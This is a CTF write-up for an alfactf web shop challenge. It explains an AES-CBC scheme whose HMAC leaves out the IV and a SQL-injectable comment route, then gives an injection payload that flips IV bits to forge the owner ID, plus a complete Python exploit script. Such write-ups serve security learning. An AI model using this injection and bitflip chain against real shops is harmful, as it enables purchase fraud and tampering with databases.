$ cat writeup.md…
$ cat writeup.md…
alfactf
Task: a web shop stored purchase transactions as AES-CBC ciphertext with a separate HMAC, then a Rust validator finalized orders asynchronously. Solution: use SQL injection to modify only the IV, bitflip the first plaintext block from our user ID to owner 1000001, bypass balance deduction, receive all required categories, and claim the flag.
Дресс-код
English summary: the target was a clothing shop where purchases were first written as encrypted pending transactions and later processed by a Rust validator. The goal was to obtain one item from each required clothing category and then call /check_dresscode to receive the flag.
Source review showed that the Python shop created purchase transactions as JSON and encrypted them with AES-CBC:
plaintext = json.dumps(data).encode() iv = os.urandom(16) cipher = AES.new(AES_KEY, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) mac = hmac.new(MAC_KEY, ciphertext, hashlib.sha256).hexdigest()
The important flaw is that the HMAC covers only ciphertext, not iv.
The Rust validator repeated the same assumption:
fn verify_mac(&self, ciphertext: &[u8], expected_mac: &str) -> bool { let mut mac = HmacSha256::new_from_slice(&self.mac_key).expect("HMAC key error"); mac.update(ciphertext); let result = mac.finalize().into_bytes(); hex::encode(result) == expected_mac }
In CBC mode, changing the IV changes the first plaintext block after decryption while keeping the ciphertext untouched. Because the MAC ignored the IV, the validator would still accept the modified transaction.
The order comment update route was SQL injectable:
query = f"UPDATE transactions SET comment = '{new_comment}' WHERE id = '{order_id}'"
That let us update arbitrary columns of our own pending order record. We did not need to change the ciphertext or MAC at all; we only needed to change iv server-side.
The purchase JSON was created as:
trx_data = { 'from': session['user_id'], 'to': recipient_id, 'items': [item['id'] for item in items_in_cart], 'amount': total }
Its first bytes were predictable:
{"from": "<user_id>",
The owner account was 1000001. By registering accounts until our member ID also ended with 1, we only had to change the first six digits in the first block. For the example account 3196751, the first block delta was:
00000000000000000000020109060705
Applying this XOR delta to the IV changed the decrypted from value from 3196751 to 1000001, while to stayed our real account because it appeared later in the plaintext.
The Rust validator contained a special-case branch:
if data.from == String::from("1000001") { println!(" Special case: from is 1000001, skipping balance deduction"); } else { conn.exec_drop( "UPDATE users SET balance = balance - ? WHERE id = ?", (&data.amount, &data.from) ).await }
So if we could forge from == "1000001", the validator would skip balance deduction but would still add all purchased items into the recipient inventory.
1.[72, 15, 24, 30, 40, 51, 53, 57].{"from": "319675 and {"from": "100000./orders/<order_id>/update_comment to modify only the iv field:x', iv=HEX(UNHEX(iv)^UNHEX('00000000000000000000020109060705')), comment='x
from = "1000001"./check_dresscode and receive the flag.Minimal reproduction with the example values from the solve:
3196751.72, 15, 24, 30, 40, 51, 53, 57 to the cart.65128051-585e-4121-9323-23fe161c971d.x', iv=HEX(UNHEX(iv)^UNHEX('00000000000000000000020109060705')), comment='x
/check_dresscode.#!/usr/bin/env python3 import re import time import uuid import requests BASE = "https://dresscode-h20qaiqi.alfactf.ru" OWNER_ID = "1000001" ITEM_IDS = [72, 15, 24, 30, 40, 51, 53, 57] def make_session() -> requests.Session: s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0"}) return s def register_account(s: requests.Session) -> tuple[str, str]: tag = uuid.uuid4().hex[:10] username = f"user_{tag}" password = f"pass_{uuid.uuid4().hex[:10]}" r = s.post( f"{BASE}/api/register", headers={"Origin": BASE, "Referer": f"{BASE}/register"}, json={"username": username, "password": password}, timeout=30, ) if r.status_code == 200: data = r.json() if not data.get("success"): raise RuntimeError(f"registration failed: {data}") elif r.status_code != 500: raise RuntimeError(f"unexpected registration status: {r.status_code}") return username, password def login(s: requests.Session, username: str, password: str) -> None: r = s.post( f"{BASE}/login", headers={"Origin": BASE, "Referer": f"{BASE}/login"}, data={"username": username, "password": password}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"login failed: {r.status_code}") def get_user_id(s: requests.Session) -> str: r = s.get(f"{BASE}/profile", timeout=30) r.raise_for_status() m = re.search(r"Member ID</th>\s*<td[^>]*>(\d{7})</td>", r.text) if not m: raise RuntimeError("could not parse user id") return m.group(1) def add_cart_items(s: requests.Session) -> None: for item_id in ITEM_IDS: r = s.post( f"{BASE}/api/cart/add/{item_id}", headers={"Origin": BASE, "Referer": f"{BASE}/shop"}, timeout=30, ) r.raise_for_status() data = r.json() if not data.get("success"): raise RuntimeError(f"failed adding item {item_id}: {data}") def create_order(s: requests.Session) -> str: r = s.post( f"{BASE}/checkout", headers={"Origin": BASE, "Referer": f"{BASE}/checkout"}, data={"gift_to": "", "comment": ""}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"checkout failed: {r.status_code}") location = r.headers.get("Location", "") m = re.search(r"/order/([0-9a-f\-]+)", location) if not m: raise RuntimeError(f"could not parse order id from {location!r}") return m.group(1) def build_delta_hex(user_id: str) -> str: if not user_id.endswith("1"): raise ValueError("user id must end with 1") prefix = b'{"from": "' original = prefix + user_id[:6].encode() target = prefix + OWNER_ID[:6].encode() delta = bytes(a ^ b for a, b in zip(original, target)) return delta.hex() def update_iv_via_sqli(s: requests.Session, order_id: str, delta_hex: str) -> None: payload = f"x', iv=HEX(UNHEX(iv)^UNHEX('{delta_hex}')), comment='x" r = s.post( f"{BASE}/orders/{order_id}/update_comment", headers={"Origin": BASE, "Referer": f"{BASE}/order/{order_id}"}, data={"comment": payload}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"comment update failed: {r.status_code}") def try_get_flag(s: requests.Session) -> str | None: r = s.get(f"{BASE}/check_dresscode", timeout=30) m = re.search(r"alfa\{[^}]+\}", r.text) return m.group(0) if m else None def main() -> int: print("[*] registering accounts until member id ends with 1") for reg_try in range(1, 51): s = make_session() try: username, password = register_account(s) login(s, username, password) user_id = get_user_id(s) except Exception as exc: print(f"[-] account {reg_try}: transient failure: {exc}") continue print(f"[+] account {reg_try}: {username} / {user_id}") if not user_id.endswith("1"): continue print(f"[+] selected user id ending with 1: {user_id}") delta_hex = build_delta_hex(user_id) print(f"[+] iv delta: {delta_hex}") for order_try in range(1, 21): print(f"[*] order attempt {order_try}") add_cart_items(s) order_id = create_order(s) print(f"[+] order id: {order_id}") update_iv_via_sqli(s, order_id, delta_hex) time.sleep(4) flag = try_get_flag(s) if flag: print(flag) return 0 print("[-] no flag yet, retrying") print("[-] race lost too many times, trying new account") print("[-] exploit failed") return 1 if __name__ == "__main__": raise SystemExit(main())
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar